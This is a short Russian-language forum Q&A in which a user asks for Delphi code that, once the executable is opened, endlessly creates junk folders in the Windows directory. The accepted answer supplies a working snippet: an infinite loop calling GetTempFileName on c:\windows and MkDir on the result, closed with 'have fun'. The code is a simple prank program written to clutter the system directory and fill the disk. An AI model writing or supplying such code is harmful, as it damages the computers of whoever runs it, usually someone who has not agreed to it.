Помогите написать програмный код в Delphi. +

Question

Требуеться что бы после открытия exe-шника программа сама начанала многократно создавать различные папки мусор в Windows/

Рустам Халиуллин · Accepted Answer

var TempFile: array[0..MAX_PATH - 1] of Char; 
 
repeat 
GetTempFileName(PChar('c:\windows'), nil, 0, TempFile); 
MkDir(TempFile); 
until false; 
 
Забавляйся.